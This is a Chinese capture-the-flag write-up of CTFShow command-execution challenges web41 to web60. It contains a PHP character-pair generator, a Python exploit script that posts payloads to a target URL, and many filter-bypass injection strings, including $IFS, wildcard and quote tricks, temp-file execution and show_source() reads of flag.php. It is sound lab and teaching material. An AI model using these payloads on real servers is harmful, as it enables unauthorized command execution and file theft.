Hello~大家好,这里是KOKO!
之前对CTFShow的命令执行类部分题目做了记录,今天我们继续做后续的题目:
简单绕过
web41
我们看一下源代码:
通过源代码我们可以发现,屏蔽了数字和字母,还屏蔽了一些其他的特殊字符。屏蔽的比较多,我们可以跑脚本来生成可用字符的集合
。
思路是:
从所有字符(ASCII[0-255])
中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。
我们先用脚本生成可用字符的集合
:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
我们通过源码可以发现,没有过滤或运算|
,因此脚本中设置的mode为1,也就是或运算,运行此脚本。
接下来我们再利用羽师傅的脚本:
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
注意更改php脚本的位置和生成的rce.txt的位置,还有接受的参数比如上面是c,换个参数就把c改了就行,再配置一下php的环境变量即可。
完整流程为:
先改一下php脚本中generate函数里的参数,也就是设置模式和正则
python rce_.py url
另外,也可以在bp里发送,去掉分号,即可得到flag:
先进行重定向,再绕过
web42
继续进行过滤绕过。
打开环境:
>
代表重定向到哪里
/dev/null
代表空设备文件
2>
表示stderr标准错误
&
表示等同于的意思,2>&1,表示2的输出重定向等同于1
1
表示stdout标准输出,系统默认值是1,所以>/dev/null
等同于 1>/dev/null
因此,>/dev/null 2>&1
也可以写成1> /dev/null 2> &1
本题语句执行过程为:
1>/dev/null
:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。
2>&1
: 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
补充:
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中
而我们想要得到输出可以加上截断语句:
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;
然后查看源代码即可得到flag:
web43
打开环境:
这次还过滤了cat
和;
,因此我们可以用nl
来绕过:
?c=nl flag.php%0a
然后再查看源码,即可得到flag:
web44
打开环境后分析代码:
这次又过滤了flag
字符串,我们可以用*
补位从而绕过:
?c=nl fla*.php%0a
查看源码,即可得到flag:
web45
我们打开环境后对代码进行分析:
本题的过滤条件:;
、cat
、flag
、空格
我们可以用$IFS
来绕过空格:
?c=echo$IFS`tac$IFS*`%0A
该语句不需要查看源码即可得到flag:
web46
我们可以看到代码:
过滤条件: cat
、flag
、空格
、数字
、$
、*
绕过空格现在不能用$IFS
绕过,但是可以用<>
和%09
绕过(注意<和?不能连用,而%09
不被过滤是因为上传到服务器就是tab键
,不算数字)
因此payload为:
?c=nl<fla''g.php||
查看源码即可得到flag:
web47
分析代码:
过滤条件:分号
、flag
、空格
、数字
、$
、*
、more
、less
、head
、sort
、tail
绕过了,但是又好像没绕,上一题的payload也适用于这题:
?c=nl<fla''g.php||
查看源码即可得到flag:
web48
分析代码:
本题的绕过,使用上题的payload即可:
?c=nl<fla''g.php||
查看源码即可得到flag:
web49
![avatar][base64str25]
分析代码:
![avatar][base64str26]
本题的绕过,同样使用上题的payload即可:
?c=nl<fla''g.php||
查看源码即可得到flag:
![avatar][base64str27]
web50
![avatar][base64str28]
分析代码:
![avatar][base64str29]
过滤条件:分号
、cat
、flag
、空格
、数字
、$
、*
、more
、less
、head
、sort
、tail
、sed
、cut
、awk
、strings
、od
、curl
、%
、%09
、&
(编码后为%26)和/`
本题的绕过,同样使用上题的payload即可:
?c=nl<fla''g.php||
查看源码即可得到flag:
![avatar][base64str30]
web51
![avatar][base64str31]
分析代码:
![avatar][base64str32]
本题的绕过,同样使用上题的payload即可:
?c=nl<fla''g.php||
查看源码即可得到flag:
![avatar][base64str33]
web52
![avatar][base64str34]
分析代码:
![avatar][base64str35]
这次多过滤了空格
,因此我们将上题的payload中的空格,用&IFS
替换即可绕过:
?c=nl$IFS/fla''g||
即可得到flag:
![avatar][base64str36]
web53
![avatar][base64str37]
分析代码:
![avatar][base64str38]
本题如果还用上题的payload发现无法成功得到flag,那我们将cat
语句进行加工后实现:
?c=c''at${IFS}fla''g.p''hp
即可得到flag:
![avatar][base64str39]
web54
![avatar][base64str40]
分析代码:
![avatar][base64str41]
加强了正则,不能用*
代替,构造payload:
?c=/bin/?at${IFS}f???????
查看源码,即可得到flag:
![avatar][base64str42]
web55
![avatar][base64str43]
分析代码:
![avatar][base64str44]
我们可以构造payload:
?c=/???/????64 ????????%0a
传参后会出现一大串编码,进行base64解码即可得到flag:
![avatar][base64str45]
web56
![avatar][base64str46]
分析代码:
![avatar][base64str47]
这次将字母数字都过滤了。
因为只有PHP生成的临时文件包含大写字母
,所以可以用/???/????????[@-[]
来匹配我们上传的临时文件。
原理:
翻开ASCII
码表,可见大写字母位于@
与[
之间,那么,我们可以利用[@-[]
来表示大写字母。并且我们用.
执行文件不需要x权限,由此我们可以构造出上述的payload。
因此抓包后修改数据包即可得到flag:
![avatar][base64str48]
web57
![avatar][base64str49]
分析代码:
![avatar][base64str50]
提示告诉我们flag在36.php
里,但是却把数字过滤了。
我们需要想办法构造出36
:
$(())
:代表做一次运算,因为里面为空,也表示值为0
$ ((~ $ (())))
:对0作取反运算,值为-1
$ (( $ ((~ $ (()))) $ ((~ $ (())))))
: -1-1,也就是(-1)+(-1)为-2,所以值为-2
$ ((~ $ (( $ ((~ $ (()))) $ ((~ $ (())))))))
:再对-2做一次取反得到1,所以值为1
故我们在$(())
里面放37个$((~$(())))
,得到-37,取反即可得到36
:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
查看源码即可得到flag:
![avatar][base64str51]
突破禁用函数
web58
![avatar][base64str52]
分析代码:
![avatar][base64str53]
由题目可知,本题有设置禁用函数,但根据代码我们还不清楚禁用了哪些函数,因此我们先随便用一个函数访问试一下:system()
;
system() has been disabled for security reasons
说明php.ini配置中默认禁用了执行系统外部命令函数,我们可以用php内置函数来读取文件。
本题我们使用show_source()
函数:
POST: c=show_source("flag.php");
传参后即可得到flag:
![avatar][base64str54]
web59
![avatar][base64str55]
分析代码:
![avatar][base64str56]
与上题一样,用show_source
函数即可得到flag:
POST:c=show_source('flag.php');
![avatar][base64str57]
web60
![avatar][base64str58]
分析代码:
![avatar][base64str59]
与上题一样,用show_source
函数即可得到flag:
POST:c=show_source('flag.php');
![avatar][base64str60]